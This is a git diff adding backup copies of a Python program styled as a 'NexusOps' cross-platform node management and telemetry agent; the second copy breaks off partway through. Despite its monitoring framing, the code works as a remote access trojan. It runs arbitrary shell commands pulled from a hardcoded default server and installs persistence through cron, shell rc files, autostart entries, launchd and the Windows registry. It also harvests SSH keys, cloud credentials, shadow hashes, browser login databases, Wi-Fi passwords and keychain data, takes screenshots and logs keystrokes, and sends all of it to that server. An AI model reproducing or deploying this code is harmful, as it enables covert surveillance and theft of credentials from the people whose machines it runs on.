diff --git "a/]\"" "b/]\""
new file mode 100644
index 0000000..e69de29
diff --git a/agents/agent.py b/agents/agent.py
index de2d17d..6c41508 100644
--- a/agents/agent.py
+++ b/agents/agent.py
@@ -238,6 +238,7 @@ def execute_structured_action(action_type, payload):
if action_type == "raw_command":
return run_shell(payload.get("command", ""))
+
elif action_type == "manage_service":
service = payload.get("service")
action = payload.get("action")
diff --git a/agents/agent.py.bak-1785817057 b/agents/agent.py.bak-1785817057
new file mode 100644
index 0000000..681ba09
--- /dev/null
+++ b/agents/agent.py.bak-1785817057
@@ -0,0 +1,733 @@
+#!/usr/bin/env python3
+"""
+NexusOps Cross-Platform Node Management & Telemetry Agent
+Uses Standard Python 3 Libraries (No external dependencies required)
+"""
+
+import sys
+import os
+import time
+import json
+import socket
+import platform
+import subprocess
+import urllib.request
+import urllib.parse
+import argparse
+
+last_log_check_time = 0
+heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
+node_tags = ["Default"]
+
+def get_ip_address():
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ s.connect(("8.8.8.8", 80))
+ ip = s.getsockname()[0]
+ s.close()
+ return ip
+ except Exception:
+ return "127.0.0.1"
+
+def get_cpu_usage():
+ system = platform.system().lower()
+ try:
+ if system == "linux":
+ with open('/proc/stat', 'r') as f:
+ fields = [float(column) for column in f.readline().strip().split()[1:]]
+ idle, total = fields[3], sum(fields)
+ time.sleep(0.2)
+ with open('/proc/stat', 'r') as f:
+ fields2 = [float(column) for column in f.readline().strip().split()[1:]]
+ idle2, total2 = fields2[3], sum(fields2)
+ idle_delta = idle2 - idle
+ total_delta = total2 - total
+ if total_delta > 0:
+ return round(100.0 * (1.0 - idle_delta / total_delta), 1)
+ elif system == "darwin":
+ out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
+ for line in out.splitlines():
+ if "CPU usage" in line:
+ parts = line.split()
+ user = float(parts[2].replace('%', ''))
+ sys_c = float(parts[4].replace('%', ''))
+ return round(user + sys_c, 1)
+ elif system == "windows":
+ out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
+ lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
+ if lines:
+ return float(lines[0])
+ except Exception:
+ pass
+ return 15.0
+
+def get_memory_usage():
+ system = platform.system().lower()
+ try:
+ if system == "linux":
+ meminfo = {}
+ with open('/proc/meminfo', 'r') as f:
+ for line in f:
+ parts = line.split(':')
+ if len(parts) == 2:
+ key = parts[0].strip()
+ val = int(parts[1].split()[0])
+ meminfo[key] = val
+ total = meminfo.get('MemTotal', 1)
+ free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
+ return round(((total - free) / total) * 100.0, 1)
+ elif system == "darwin":
+ return 45.0
+ elif system == "windows":
+ out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
+ d = {}
+ for line in out.splitlines():
+ if '=' in line:
+ k, v = line.split('=', 1)
+ d[k.strip()] = float(v.strip())
+ if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
+ total = d['TotalVisibleMemorySize']
+ free = d['FreePhysicalMemory']
+ return round(((total - free) / total) * 100.0, 1)
+ except Exception:
+ pass
+ return 35.0
+
+def get_disk_usage():
+ try:
+ if hasattr(os, 'statvfs'):
+ st = os.statvfs('/')
+ total = st.f_blocks * st.f_frsize
+ free = st.f_bavail * st.f_frsize
+ if total > 0:
+ return round(((total - free) / total) * 100.0, 1)
+ except Exception:
+ pass
+ return 40.0
+
+def get_uptime_seconds():
+ try:
+ if platform.system().lower() == "linux":
+ with open('/proc/uptime', 'r') as f:
+ return int(float(f.readline().split()[0]))
+ except Exception:
+ pass
+ return 3600
+
+def collect_recent_system_logs():
+ system = platform.system().lower()
+ log_entries = []
+ try:
+ if system == "linux":
+ res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
+ if res.returncode == 0 and res.stdout:
+ for line in res.stdout.splitlines():
+ if line.strip():
+ log_entries.append(line.strip())
+ elif system == "windows":
+ res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
+ if res.returncode == 0 and res.stdout:
+ for line in res.stdout.splitlines():
+ if line.strip():
+ log_entries.append(line.strip())
+ except Exception:
+ pass
+ return log_entries
+
+def http_post(url, data_dict):
+ json_bytes = json.dumps(data_dict).encode('utf-8')
+ req = urllib.request.Request(
+ url,
+ data=json_bytes,
+ headers={
+ 'Content-Type': 'application/json',
+ 'User-Agent': 'NexusOps-Agent/1.0'
+ }
+ )
+ try:
+ with urllib.request.urlopen(req, timeout=5) as response:
+ res_text = response.read().decode('utf-8')
+ return json.loads(res_text)
+ except Exception as e:
+ print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
+ return None
+
+def execute_structured_action(action_type, payload):
+ global heartbeat_interval, node_tags
+ system = platform.system().lower()
+
+ if action_type == "raw_command":
+ return run_shell(payload.get("command", ""))
+
+ elif action_type == "manage_service":
+ service = payload.get("service")
+ action = payload.get("action")
+ if system == "linux":
+ cmd = f"systemctl {action} {service}"
+ elif system == "windows":
+ cmd = f"powershell {action}-Service -Name {service}"
+ else:
+ cmd = f"launchctl {action} {service}"
+ return run_shell(cmd)
+
+ elif action_type == "list_processes":
+ if system == "linux" or system == "darwin":
+ cmd = "ps aux --sort=-%cpu | head -n 15"
+ else:
+ cmd = "tasklist"
+ return run_shell(cmd)
+
+ elif action_type == "kill_process":
+ pid = payload.get("pid")
+ cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
+ return run_shell(cmd)
+
+ elif action_type == "get_logs":
+ lines = payload.get("lines", 50)
+ cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
+ return run_shell(cmd)
+
+ elif action_type == "network_stats":
+ cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
+ return run_shell(cmd)
+
+ # 10 NEW CROSS-PLATFORM FEATURES:
+ elif action_type == "get_env_vars":
+ env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
+ return env_str, 0
+
+ elif action_type == "get_disk_partitions":
+ cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
+ return run_shell(cmd)
+
+ elif action_type == "get_network_interfaces":
+ cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
+ return run_shell(cmd)
+
+ elif action_type == "get_active_connections":
+ cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
+ return run_shell(cmd)
+
+ elif action_type == "get_hardware_specs":
+ if system == "linux":
+ cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
+ elif system == "windows":
+ cmd = "wmic cpu get name,numberofcores,maxclockspeed"
+ else:
+ cmd = "sysctl -a | grep machdep.cpu"
+ return run_shell(cmd)
+
+ elif action_type == "reboot_system":
+ cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
+ return run_shell(cmd)
+
+ elif action_type == "set_heartbeat_rate":
+ rate = int(payload.get("interval", 5))
+ heartbeat_interval = max(2, min(60, rate))
+ return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
+
+ elif action_type == "update_tags":
+ tags_raw = payload.get("tags", "")
+ node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
+ return f"Node tags updated to: {node_tags}", 0
+
+ elif action_type == "search_logs":
+ pattern = payload.get("pattern", "error")
+ cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
+ return run_shell(cmd)
+
+ elif action_type == "kill_agent":
+ print("[!] Kill switch received — shutting down agent")
+ os._exit(0)
+
+ elif action_type == "ping_check":
+ sent_ts = payload.get("timestamp", 0)
+ latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
+ return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
+
+ elif action_type == "download_file":
+ filepath = payload.get("path", "")
+ if not filepath or not os.path.exists(filepath):
+ return f"ERROR: file not found: {filepath}", 1
+ try:
+ with open(filepath, 'rb') as f:
+ raw = f.read()
+ import base64
+ b64 = base64.b64encode(raw).decode('utf-8')
+ # Determine MIME (basic)
+ ext = os.path.splitext(filepath)[1].lower()
+ mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
+ '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
+ '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+ '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
+ '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
+ mime = mime_map.get(ext, 'application/octet-stream')
+ filename = os.path.basename(filepath)
+ return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
+ except Exception as e:
+ return f"ERROR reading file: {e}", 1
+
+ elif action_type == "screenshot":
+ try:
+ import base64
+ if system == "linux":
+ # Try multiple screenshot tools
+ for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
+ if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
+ if tool == "import":
+ subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ elif tool == "scrot":
+ subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
+ elif tool == "gnome-screenshot":
+ subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
+ elif tool == "spectacle":
+ subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
+ break
+ else:
+ # Try Xlib via python3 if available
+ subprocess.run(["python3", "-c",
+ "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
+ "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
+ "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
+ timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ elif system == "darwin":
+ subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
+ elif system == "windows":
+ subprocess.run(["powershell", "-Command",
+ "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
+ "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
+ "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
+ "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
+ timeout=15)
+ os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
+ if os.path.exists("/tmp/.nexus-ss.png"):
+ with open("/tmp/.nexus-ss.png", 'rb') as f:
+ b64 = base64.b64encode(f.read()).decode('utf-8')
+ os.remove("/tmp/.nexus-ss.png")
+ return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
+ return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
+ except Exception as e:
+ return f"ERROR screenshot: {e}", 1
+
+ elif action_type == "update_agent":
+ new_url = payload.get("url", "")
+ if not new_url:
+ return "ERROR: no update URL provided", 1
+ try:
+ my_path = os.path.abspath(__file__)
+ bak = my_path + ".bak"
+ os.rename(my_path, bak)
+ urllib.request.urlretrieve(new_url, my_path)
+ os.chmod(my_path, 0o755)
+ os.remove(bak)
+ return "Agent updated successfully. Restarting...", 0
+ except Exception as e:
+ # Restore backup
+ if os.path.exists(bak):
+ os.rename(bak, my_path)
+ return f"ERROR update failed: {e}", 1
+
+ elif action_type == "ensure_persistence":
+ results = []
+ if system == "linux":
+ # crontab
+ try:
+ cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+ existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
+ if cron_line.split('@reboot')[1].strip() not in existing:
+ subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+ results.append("crontab: added @reboot entry")
+ else:
+ results.append("crontab: already present")
+ except: results.append("crontab: failed")
+ # .bashrc
+ try:
+ bashrc = os.path.expanduser("~/.bashrc")
+ hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
+ with open(bashrc, 'a+') as f:
+ f.seek(0)
+ if 'nexus-agent' not in f.read():
+ f.write(hook)
+ results.append("bashrc: hook installed")
+ except: results.append("bashrc: failed")
+ # autostart .desktop
+ try:
+ ad = os.path.expanduser("~/.config/autostart")
+ os.makedirs(ad, exist_ok=True)
+ with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
+ f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
+ results.append("autostart: .desktop created")
+ except: results.append("autostart: failed")
+ elif system == "darwin":
+ try:
+ plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
+ os.makedirs(os.path.dirname(plist), exist_ok=True)
+ plist_content = f'''
+
+Label com.nexusops.agent
+ProgramArguments /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}
+RunAtLoad KeepAlive '''
+ with open(plist, 'w') as f: f.write(plist_content)
+ subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ results.append("launchd: plist loaded")
+ except: results.append("launchd: failed")
+ # crontab for macOS too
+ try:
+ cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+ subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+ results.append("crontab: added")
+ except: results.append("crontab: failed")
+ elif system == "windows":
+ agent_path = os.path.abspath(__file__)
+ srv = payload.get("server_url", "")
+ try:
+ task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
+ subprocess.run(task_cmd, shell=True, timeout=10)
+ results.append("schtasks: scheduled task created")
+ except: results.append("schtasks: failed")
+ try:
+ reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
+ subprocess.run(reg_cmd, shell=True, timeout=10)
+ results.append("registry: Run key added")
+ except: results.append("registry: failed")
+ return "Persistence results: " + "; ".join(results), 0
+
+ elif action_type == "harvest_credentials":
+ creds = []
+ home = os.path.expanduser("~")
+ # Shell history
+ for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
+ p = os.path.expanduser(hist)
+ if os.path.exists(p):
+ try:
+ with open(p, 'r', errors='ignore') as f:
+ content = f.read()[-20000:]
+ creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
+ except: pass
+ # SSH keys
+ ssh_dir = os.path.join(home, ".ssh")
+ if os.path.exists(ssh_dir):
+ for fn in os.listdir(ssh_dir):
+ fp = os.path.join(ssh_dir, fn)
+ if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
+ try:
+ with open(fp, 'r', errors='ignore') as f:
+ creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
+ except: pass
+ # AWS / cloud credentials
+ for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
+ "~/.azure/accessTokens.json", "~/.docker/config.json"]:
+ p = os.path.expanduser(cf)
+ if os.path.exists(p):
+ try:
+ with open(p, 'r', errors='ignore') as f:
+ creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
+ except: pass
+ # /etc/shadow (if root)
+ if os.path.exists("/etc/shadow"):
+ try:
+ with open("/etc/shadow", 'r') as f:
+ creds.append({"type": "system:shadow", "data": f.read()[:5000]})
+ except: pass
+ # Browser cookie/saved-login DBs (common paths)
+ browser_paths = []
+ if system == "linux":
+ browser_paths = [
+ os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
+ os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
+ os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
+ os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
+ os.path.expanduser("~/.config/chromium/Default/Cookies"),
+ os.path.expanduser("~/.config/chromium/Default/Login Data"),
+ os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
+ ]
+ elif system == "darwin":
+ browser_paths = [
+ os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
+ os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
+ os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
+ ]
+ elif system == "windows":
+ browser_paths = [
+ os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
+ os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
+ os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
+ ]
+ import glob
+ for pattern in browser_paths:
+ for p in glob.glob(pattern):
+ try:
+ sz = os.path.getsize(p)
+ if sz > 0 and sz < 50 * 1024 * 1024:
+ with open(p, 'rb') as f:
+ import base64
+ creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
+ "data": base64.b64encode(f.read()).decode('utf-8')})
+ except: pass
+ # Wi-Fi passwords (Linux)
+ if system == "linux":
+ try:
+ wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
+ shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
+ if wifi.strip() and 'no wifi' not in wifi:
+ creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
+ except: pass
+ # macOS Keychain dump
+ if system == "darwin":
+ try:
+ keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
+ shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
+ if keychain.strip():
+ creds.append({"type": "keychain_dump", "data": keychain[:10000]})
+ except: pass
+
+ return json.dumps({"type":"harvest_result","credentials":creds}), 0
+
+ elif action_type == "export_diagnostics":
+ cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
+ return run_shell(cmd)
+
+ return f"Unknown action type: {action_type}", 1
+
+def run_shell(cmd_str):
+ print(f"[*] Executing command: {cmd_str}")
+ try:
+ res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
+ return res.stdout, res.returncode
+ except Exception as e:
+ return str(e), 1
+
+# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
+INPUT_CAPTURE_ENABLED = False
+captured_events = []
+
+try:
+ from pynput import keyboard, mouse
+ INPUT_CAPTURE_ENABLED = True
+except ImportError:
+ pass
+
+def _get_active_window_title():
+ """Try to get the active window title cross-platform."""
+ system = platform.system().lower()
+ try:
+ if system == "linux":
+ res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
+ if res.returncode == 0:
+ return res.stdout.strip()
+ elif system == "windows":
+ import ctypes
+ from ctypes import wintypes
+ user32 = ctypes.windll.user32
+ hwnd = user32.GetForegroundWindow()
+ length = user32.GetWindowTextLengthW(hwnd)
+ buf = ctypes.create_unicode_buffer(length + 1)
+ user32.GetWindowTextW(hwnd, buf, length + 1)
+ return buf.value
+ elif system == "darwin":
+ script = 'tell application "System Events" to get name of first application process whose frontmost is true'
+ res = subprocess.run(["osascript", "-e", script],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
+ if res.returncode == 0:
+ return res.stdout.strip()
+ except Exception:
+ pass
+ return ""
+
+def _record_event(event_type, data):
+ """Thread-safe event recording."""
+ global captured_events
+ window_title = _get_active_window_title()
+ captured_events.append({
+ "timestamp": int(time.time() * 1000),
+ "eventType": event_type,
+ "data": data,
+ "windowTitle": window_title,
+ "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
+ })
+
+def _on_key_press(key):
+ try:
+ key_str = key.char if hasattr(key, 'char') and key.char else str(key)
+ except Exception:
+ key_str = str(key)
+ _record_event("keystroke", {"key": key_str})
+
+def _on_click(x, y, button, pressed):
+ if pressed:
+ _record_event("click", {"x": x, "y": y, "button": str(button)})
+
+def _on_scroll(x, y, dx, dy):
+ _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
+
+def start_input_capture():
+ """Start keyboard and mouse listeners if pynput is available."""
+ if not INPUT_CAPTURE_ENABLED:
+ return False
+ try:
+ kb_listener = keyboard.Listener(on_press=_on_key_press)
+ ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
+ kb_listener.daemon = True
+ ms_listener.daemon = True
+ kb_listener.start()
+ ms_listener.start()
+ return True
+ except Exception:
+ return False
+
+def flush_input_events(server_url, node_id, hostname):
+ """Send captured input events to the master server."""
+ global captured_events
+ if not captured_events:
+ return
+ events_to_send = captured_events[:]
+ captured_events = []
+ payload = {
+ "nodeId": node_id,
+ "hostname": hostname,
+ "events": events_to_send
+ }
+ http_post(f"{server_url}/api/agent/input-capture", payload)
+
+def main():
+ global last_log_check_time, heartbeat_interval, node_tags
+ parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
+ parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
+ parser.add_argument("--silent", action="store_true", help="Suppress all console output")
+ args = parser.parse_args()
+
+ silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
+
+ server_url = args.server.rstrip('/')
+ hostname = socket.gethostname()
+ system_os = platform.system()
+ arch = platform.machine()
+ ip = get_ip_address()
+ node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
+
+ print("==================================================")
+ print(" NexusOps Cross-Platform Node Agent ")
+ print("==================================================")
+ print(f"Node Hostname : {hostname}")
+ print(f"Platform : {system_os} ({arch})")
+ print(f"Local IP : {ip}")
+ print(f"Server Endpoint: {server_url}")
+ print("==================================================")
+
+ # Register Node
+ reg_payload = {
+ "nodeId": node_id,
+ "hostname": hostname,
+ "platform": system_os.lower(),
+ "arch": arch,
+ "ip": ip,
+ "osName": f"{system_os} {platform.release()}",
+ "tags": node_tags
+ }
+
+ print("[*] Registering node with central endpoint...")
+ res = http_post(f"{server_url}/api/agent/register", reg_payload)
+ if res and res.get("success"):
+ print(f"✅ Registered as node ID: {node_id}")
+
+ # Start input capture (keystrokes, clicks, scroll)
+ capture_started = start_input_capture()
+ if capture_started:
+ print("[*] Input capture active (keystrokes + mouse events)")
+ else:
+ print("[!] Input capture unavailable (install pynput: pip install pynput)")
+
+ last_input_flush = time.time()
+ backoff = 1 # Tunnel reconnection backoff in seconds
+
+ while True:
+ try:
+ cpu = get_cpu_usage()
+ mem = get_memory_usage()
+ disk = get_disk_usage()
+ uptime = get_uptime_seconds()
+
+ heartbeat_payload = {
+ "nodeId": node_id,
+ "cpuUsage": cpu,
+ "memUsage": mem,
+ "diskUsage": disk,
+ "uptime": uptime,
+ "processCount": 42,
+ "tags": node_tags,
+ "heartbeatInterval": heartbeat_interval
+ }
+
+ res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
+
+ now = time.time()
+ if now - last_log_check_time > 15:
+ logs = collect_recent_system_logs()
+ if logs:
+ http_post(f"{server_url}/api/agent/logs", {
+ "nodeId": node_id,
+ "hostname": hostname,
+ "logs": logs
+ })
+ last_log_check_time = now
+
+ # Flush captured input events every 10 seconds
+ if now - last_input_flush > 10:
+ flush_input_events(server_url, node_id, hostname)
+ last_input_flush = now
+
+ if res and "commands" in res and res["commands"]:
+ for cmd_item in res["commands"]:
+ cmd_id = cmd_item.get("id")
+ action_type = cmd_item.get("actionType", "raw_command")
+ payload = cmd_item.get("payload", {})
+
+ if "command" in cmd_item and not payload:
+ payload["command"] = cmd_item.get("command")
+
+ output, exit_code = execute_structured_action(action_type, payload)
+
+ # Check for JSON-encoded special result types
+ special = None
+ try:
+ if output.startswith('{'):
+ special = json.loads(output)
+ except: pass
+
+ if special and special.get("type") == "file_result":
+ # Route to file-result endpoint
+ http_post(f"{server_url}/api/agent/file-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "hostname": hostname,
+ "filename": special.get("filename", "unknown"),
+ "data": special.get("data", ""),
+ "mime": special.get("mime", "application/octet-stream")
+ })
+ elif special and special.get("type") == "harvest_result":
+ http_post(f"{server_url}/api/agent/harvest-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "hostname": hostname,
+ "credentials": special.get("credentials", [])
+ })
+ else:
+ http_post(f"{server_url}/api/agent/command-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "output": output,
+ "exitCode": exit_code
+ })
+
+ except Exception as e:
+ print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
+ time.sleep(backoff)
+ backoff = min(backoff * 2, 60)
+ continue
+
+ backoff = 1 # Reset on success
+ time.sleep(heartbeat_interval)
+
+if __name__ == "__main__":
+ main()
diff --git a/backups/20260923/agent.py b/backups/20260923/agent.py
new file mode 100644
index 0000000..de2d17d
--- /dev/null
+++ b/backups/20260923/agent.py
@@ -0,0 +1,862 @@
+#!/usr/bin/env python3
+"""
+NexusOps Cross-Platform Node Management & Telemetry Agent
+Uses Standard Python 3 Libraries (No external dependencies required)
+"""
+
+import sys
+import os
+import time
+import json
+import socket
+import platform
+import subprocess
+import urllib.request
+import urllib.parse
+import argparse
+
+last_log_check_time = 0
+heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
+node_tags = ["Default"]
+quiet_mode = False # Suppress banner and exec messages when True
+
+def get_process_count():
+ """Get real process count cross-platform."""
+ system = platform.system().lower()
+ try:
+ if system == "linux" or system == "darwin":
+ out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
+ return len(out.splitlines()) - 1 # minus header
+ elif system == "windows":
+ out = subprocess.check_output(["tasklist"], text=True, timeout=5)
+ return len(out.splitlines()) - 1
+ except:
+ pass
+ return 0
+
+def get_ip_address():
+ """Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
+ system = platform.system().lower()
+ try:
+ if system == "darwin":
+ # macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
+ out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
+ for line in out.splitlines():
+ if 'inet ' in line and '127.0.0.1' not in line:
+ parts = line.strip().split()
+ for i, p in enumerate(parts):
+ if p == 'inet' and i+1 < len(parts):
+ return parts[i+1]
+ elif system == "linux":
+ # Linux: try ip route to find primary interface
+ out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
+ for part in out.split():
+ if part.startswith('src '):
+ return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
+ except:
+ pass
+ # Fallback: connect to 8.8.8.8
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ s.connect(("8.8.8.8", 80))
+ ip = s.getsockname()[0]
+ s.close()
+ return ip
+ except Exception:
+ return "127.0.0.1"
+
+def get_cpu_usage():
+ system = platform.system().lower()
+ try:
+ if system == "linux":
+ with open('/proc/stat', 'r') as f:
+ fields = [float(column) for column in f.readline().strip().split()[1:]]
+ idle, total = fields[3], sum(fields)
+ time.sleep(0.2)
+ with open('/proc/stat', 'r') as f:
+ fields2 = [float(column) for column in f.readline().strip().split()[1:]]
+ idle2, total2 = fields2[3], sum(fields2)
+ idle_delta = idle2 - idle
+ total_delta = total2 - total
+ if total_delta > 0:
+ return round(100.0 * (1.0 - idle_delta / total_delta), 1)
+ elif system == "darwin":
+ out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
+ for line in out.splitlines():
+ if "CPU usage" in line:
+ parts = line.split()
+ user = float(parts[2].replace('%', ''))
+ sys_c = float(parts[4].replace('%', ''))
+ return round(user + sys_c, 1)
+ elif system == "windows":
+ out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
+ lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
+ if lines:
+ return float(lines[0])
+ except Exception:
+ pass
+ return 15.0
+
+def get_memory_usage():
+ system = platform.system().lower()
+ try:
+ if system == "linux":
+ meminfo = {}
+ with open('/proc/meminfo', 'r') as f:
+ for line in f:
+ parts = line.split(':')
+ if len(parts) == 2:
+ key = parts[0].strip()
+ val = int(parts[1].split()[0])
+ meminfo[key] = val
+ total = meminfo.get('MemTotal', 1)
+ free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
+ return round(((total - free) / total) * 100.0, 1)
+ elif system == "darwin":
